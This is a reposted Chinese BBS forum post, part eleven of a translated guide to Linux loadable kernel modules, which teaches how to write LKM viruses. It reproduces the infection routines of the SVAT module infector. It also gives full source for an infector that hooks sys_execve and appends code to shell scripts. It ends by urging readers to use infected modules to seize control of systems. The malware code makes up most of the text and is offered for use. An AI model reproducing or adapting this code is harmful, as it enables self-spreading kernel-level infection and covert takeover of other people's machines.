荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: cycker (快过年吧.我想回家), 信区: Linux
标  题: Linux 可卸载内核模块完全指南(十一)(转寄)[转载]
发信站: 荔园晨风BBS站 (Thu Jan  2 18:23:45 2003), 站内信件

【 以下文字转载自 cycker 的信箱 】
【 原文由 xiaofong@bbs.pku.edu.cn 所发表 】
发信人: chenhao (努力学习), 信区: Linux
标  题: Linux 可卸载内核模块完全指南(十一)
发信站: 北大未名站 (2000年11月20日01:20:31 星期一) , 转信

第二部分 渐入佳境

2.8 用LKMs写病毒

现在我们会暂时离开入侵这一部分来看看关于病毒的那些代码(在这里讨论的思路hackers
一样会感兴趣的,继续吧....).我将将这个讨论集中在SVAT的LKM传染者上.在附录A中你会
得到一个完整的源代码.因此在这一章中我们只讨论重要的技术和函数.这个LKM需要一个l
inux系统(他是在2.0.33上被测试的),并且要求kerneld被安装.(我会解释原因的).


首先你必须明白这个LKM传染者不会感染普通的elf可执行文件(这也是可能的,我会在以后
谈到这一点->2.8.1),他只感染模块,当他们被加载或者卸载时.这个加载或者卸载的过程常
常是由kerneld(见1.7)操纵的.因此,假定一个模块被病毒感染了,当加载这个模块时你同时
也加载了具有病毒代码的隐藏功能的模块.(见2.8)这个病毒代码截获了sys_create_modul
e和sys_delete_module(见1.7)两个系统调用来进行进一步的感染.无论何时一个模块在被
感染的系统中都是被新的sys_delete_module卸载.因此每一个被kerneld调用的模块在卸载
时都会被感染.


你可以想象如下的第一次感染的场景:


系统管理员为他的新的网卡在搜索一个新的网卡驱动(ethernet,....)

他开始在网上查找.

他发现一个可以在他的系统上工作的驱动模块并把他下载下来.

他在他的系统中安装了这个模块[这个模块被感染了]->系统被入侵了.

当然他并没有下载源文件.他很懒并且冒险使用了一个二进制文件.因此,系统管理员们绝对
不要信任二进制文件(比如说模块).因此我希望你们明白LKM传染者的危险性.现在让我们看
的近一些那个由SVAT创作的LKM传染者.


假定你拥有了一个带有病毒的LKM的源代码(一个简单的模块,就是拦截sys_create_module
或者sys_delete_module和其他的一些技巧性的东西).第一个问题就是如何传染一个已经存
在的模块(本地的模块).让我们来做一些试验.拿两个模块并且把他们用'cat'命令合到一块
.


# cat module1.o >> module2.o


然后尝试insmod产生的module2.o(在尾部也包含了module1.o).


# insmod module2.o


ok,他能够运行.现在检查你系统中的模块:


# lsmod

Module     Pages  Used by

module2    1 0


因此我们可以知道通过连接两个模块到一个产生的模块也可以被加载,第二个模块会被忽略
.并且不会报错说这个模块已经被破坏.


有了这种想法,很清楚的一个本地模块可以被这样的传染:


cat host_module.o >> virus_module.o

ren virus_module.o host_module.o



这种加载host_module.o的方法会完全加载病毒所有的美妙功能.但是有一个问题,我们如何
加载实际上的host_module呢?对用户或者管理员来说一个模块完全不起作用是十分奇怪的
事情.在这里我们就需要kernled的帮助了.正如我在1.7中说的那样,你可以使用kerneld来
加载一个模块.只要在你的代码中使用

request_module("module_name").这会强制kerneld加载一个指定的模块.但是我们从哪里
获得起始的本地模块呢?他被host_module.o打包了(同时还有virus_module.o).因此在你编
译完你的virus_module.c到它的目标文件时你必须看看他的大小(多少字节?).在此之后你
就会知道初始的host_module.o将会从打包的那个的那里开始了(你必须编译两次你的viru
s_module:第一次用来检查目标文件的大小,第二次要根据大小改变你的源文件的相关部分
...)在此之后你就可以从你的virus_module中抽取出原来的host_module.o.你必须保存这
个抽取出来的模块到其他地方,然后使用request_module("orig_host_module.o").在加载
了初始的host_module.o以后你的virus_module(也可以被[用户的命令或者kerneld]insmo
d加载的)就可以传染任何已经加载的模块了.


Stealthf0rk(SVAT) 使用sys_delete_module(...)系统调用来进行传染.让我们来看看他的
替换以后的系统调用,我只是加了一些注释.:


/*仅仅是替换的系统调用*/


int new_delete_module(char *modname)

{

/*被传染模块的个数*/

static int infected = 0;

int retval = 0, i = 0;

char *s = NULL, *name = NULL;


/*调用初始的sys_delete_module*/

retval = old_delete_module(modname);


if ((name = (char*)vmalloc(MAXPATH + 60 + 2)) == NULL)

return retval;


/*检查文件是否被感染->这是从被入侵的sys_create_module来的;不过是"这种"LKM传染者
的一个特征.对于这种病毒没有很通用的方法*/

for (i = 0; files2infect[i][0] && i < 7; i++)

{

strcat(files2infect[i], ".o");

if ((s = get_mod_name(files2infect[i])) == NULL)

{

return retval;

}

name = strcpy(name, s);

if (!is_infected(name))

{

/*这不过是一个对printk(...)打包的宏*/

DPRINTK("try 2 infect %s as #%d\n", name, i);

/*增加感染计数器*/

infected++;

/*感染过程*/

infectfile(name);

}

memset(files2infect[i], 0, 60 + 2);

} /* for */

/*足够了*/

/*如果有足够的模块被感染了,停止并且退出*/

if (infected >= ENOUGH)

cleanup_module();

vfree(name);

return retval;

}


在这个系统调用中只有一个函数比较有趣:infectfile(...).因此让我们来看看那个函数(
也是只有一些我加的小小注释):


int infectfile(char *filename)

{

char *tmp = "/tmp/t000";

int in = 0, out = 0;

struct file *file1, *file2;


/*不要困惑,这不过是由病毒定义的一个宏.用来处理从内核空间到用户空间的系统调用参
数(见1.4)*/


BEGIN_KMEM

/*当卸载时打开目标模块的目标文件*/

in = open(filename, O_RDONLY, 0640);

/*创建一个临时文件*/

out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);

/*见BEGIN_KMEM*/

END_KMEM


DPRINTK("in infectfile: in = %d out = %d\n", in, out);

if (in <= 0 || out <= 0)

return -1;

file1 = current->files->fd[in];

file2 = current->files->fd[out];

if (!file1 || !file2)

return -1;

/*copy module objectcode (host) to file2*/

/*从目标文件(本地的)复制模块的源代码到file2*/

cp(file1, file2);

BEGIN_KMEM

file1->f_pos = 0;

file2->f_pos = 0;

/* write Vircode [from mem] */

/*写入病毒代码[从内存中]*/

DPRINTK("in infetcfile: filenanme = %s\n", filename);

file1->f_op->write(file1->f_inode, file1, VirCode, MODLEN);

cp(file2, file1);

close(in);

close(out);

unlink(tmp);

END_KMEM

return 0;

}


我想这个传染函数已经足够清晰了.


现在我想只有一件事情需要讨论:被传染的模块是如何第一次启动病毒并载入原始模块的呢
?(我们知道理论,但是实际上是如何工作的呢?)


为了回答这个问题,我们来看看如下的处理这个问题的一个函数:


/*那是简单的:我们解除模块的传染,并且发送一个要求加载的请求给kerneld.不需要讨厌
的转换或者符号或者头.--cool*/


int load_real_mod(char *path_name, char *name)

{

int r = 0, i = 0;

struct file *file1, *file2;

int in = 0, out = 0;


DPRINTK("in load_real_mod name = %s\n", path_name);

if (VirCode)

vfree(VirCode);

VirCode = vmalloc(MODLEN);

if (!VirCode)

return -1;

BEGIN_KMEM

/*打开已经加载的模块(->已经被感染的那一个)*/

in = open(path_name, O_RDONLY, 0640);

END_KMEM

if (in <= 0)

return -1;

file1 = current->files->fd[in];

if (!file1)

return -1;

/*读病毒代码[到内存]*/

BEGIN_KMEM

file1->f_op->read(file1->f_inode, file1, VirCode, MODLEN);

close(in);

END_KMEM

/*分开病毒和原始模块*/

disinfect(path_name);

/*加载初始的原始模块,通过用kerneld*/

r = request_module(name);

DPRINTK("in load_real_mod: request_module = %d\n", r);

return 0;

}


现在应该明白了为什么这个LKM传染者需要kerneld了.我们需要通过他来加载原始的modul
e.我希望你能够理解这个十分简单的关于LKM传染者(病毒)的教程.下一节会展示一些非常
基本的和LKM有关的扩展和想法.


2.8.1 如何让LKM病毒感染任何文件(不仅仅是模块)


请不要怪我没有给出这个想法的一个可以运行的例子.我现在没有时间完成他(可以等待进
一步的发布).正如你们在2.4.2中看到的那样,通过截获sys_execve(...)我们可以获得可执
行文件.现在假定一个被替换的系统调用在一个即将要执行的程序后面加了一些数据.下一
次这个程序执行时,他最开始运行我们附加的部分,然后才是起初的程序(就像一个基本的病
毒一样).我们都知道已经存在了一些UNIX或者Linux下面的病毒了.因此为什么我们不尝试
着使用LKMs来感染除了模块以为的elf形式的可执行文件呢?我们可以感染可执行文件,检查
如果UID=0就再加载我们的感染模块...我希望你能够明白这个普通的想法.


我必须承认,改变一个elf文件是很有技巧的.但是如果有足够的时间你还是可以完成他的.
(在过去已经有人做了好几次了.只要看看那些存在的Linux病毒就可以了).


首先你必须检查被sys_execve(...)执行的文件的类型.有好几种方法来做这个;其中最快的
一种是从文件里面对一些字节并且检查他们的elf标志.然后你可以用write(...)或者read
(...).....来改变这个文件.看LKM传染者是如何做这个的.


我们的理论不能只停留在毫无证据的原理上.因此我提供一个十分简单的但是毫无用处的L
KM脚本传染者.像这样的病毒没什么用.他只不过传染一些含有特定的命令的脚本,其他不做
任何事.没有真正的病毒的特征.

我演示这个例子,作为一个LKMs感染任何你执行的文件的解释.甚至Java文件都可以被感染
.因为linux内核提供的帮助.下面就是一个小的LKM脚本传染者:


#define __KERNEL__

#define MODULE


/*从开始的LKM传染者中取下来的;使得整个LKM容易多了*/

#define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds());

#define END_KMEM set_fs(old_fs);}


#include <linux/version.h>

#include <linux/mm.h>

#include <linux/unistd.h>

#include <linux/fs.h>

#include <linux/types.h>

#include <asm/errno.h>

#include <asm/string.h>

#include <linux/fcntl.h>

#include <sys/syscall.h>

#include <linux/module.h>

#include <linux/malloc.h>

#include <linux/kernel.h>

#include <linux/kerneld.h>


int __NR_myexecve;


extern void *sys_call_table[];


int (*orig_execve) (const char *, const char *[], const char *[]);


int (*open)(char *, int, int);

int (*write)(unsigned int, char*, unsigned int);

int (*read)(unsigned int, char*, unsigned int);

int (*close)(int);



/*见2.4.2的解释*/

int my_execve(const char *filename, const char *argv[], const char *envp[])

{

  long __res;

  __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long)
(filename)), "c"((long) (argv)), "d"((long) (envp)));

  return (int) __res;

}


/*传染execve系统调用和传染过程*/

int hacked_execve(const char *filename, const char *argv[], const char *envp[]
)

{

char *test, j;

int ret;

int host = 0;


/*只不过一个读了20个文件的缓存.(需要用来检查可执行文件)*/

test = (char *) kmalloc(21, GFP_KERNEL);


/*打开即将被执行的本地脚本*/

host=open(filename, O_RDWR|O_APPEND, 0640);


BEGIN_KMEM


/*读入开始的20字节*/

read(host, test, 20);


/*是否是一个正常的shell脚本(正如你所看到的,你可以改变任何可执行文件)*/

if (strstr(test, "#!/bin/sh")!=NULL)

{

/*一些很小的调试信息*/

printk("<1>INFECT !\n");

/*我们很友好的加了一些和平的代码*/

write(host, "touch /tmp/WELCOME", strlen("touch /tmp/WELCOME"));

}

END_KMEM

/*传染完成了,关闭我们本地的文件*/

close(host);

/*释放内存*/

kfree(test);

/*执行文件(文件已经被我们改变了)*/

ret = my_execve(filename, argv, envp);

return ret;

}



int init_module(void)

/*初始化模块*/

{

__NR_myexecve = 250;

while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)

__NR_myexecve--;

orig_execve = sys_call_table[SYS_execve];

if (__NR_myexecve != 0)

{

printk("<1>everything OK\n");

sys_call_table[__NR_myexecve] = orig_execve;

sys_call_table[SYS_execve] = (void *) hacked_execve;

}


/*我们需要一些函数*/

open = sys_call_table[__NR_open];

close = sys_call_table[__NR_close];

write = sys_call_table[__NR_write];

read = sys_call_table[__NR_read];

return 0;

}


void cleanup_module(void)

/*卸载模块*/

{

sys_call_table[SYS_execve]=orig_execve;

}


这有些太容易了,所以我不想在这里浪费时间.当然,这个模块并不需要kerneld来传播.(没
有kerneld支持的kernel很有趣).我希望你懂得传染任何可执行文件的方法.这是一个十分
强大的掩杀一个大系统的方法.


2.8.2 如何让LKM病毒帮助我们进入系统


正如你所知道的,病毒代码不是hacker那样的.因此hackers感兴趣的是什么呢?认真想想这
个问题(只花十秒).你应该能够意识到.通过引入一个木马(被感染的)LKM整个系统可以在你
的掌握之下.记住所有我们到目前为止所用的技巧.即使不用木马你也可以使用LKMs来入侵
一个系统.相信我,使用一个真正好的LKM来感染一个系统会比像root那样作某些事情一遍又
一遍要好得多.更为美妙的是让LKM替你来做这些工作.要有创造力....




--
※ 来源:.北大未名站 bbs.pku.edu.cn [FROM: 162.105.45.129]
--
※ 转寄:·北大未名站 bbs.pku.edu.cn·[FROM: 210.39.3.50]
--
※ 转载:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.36.220]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店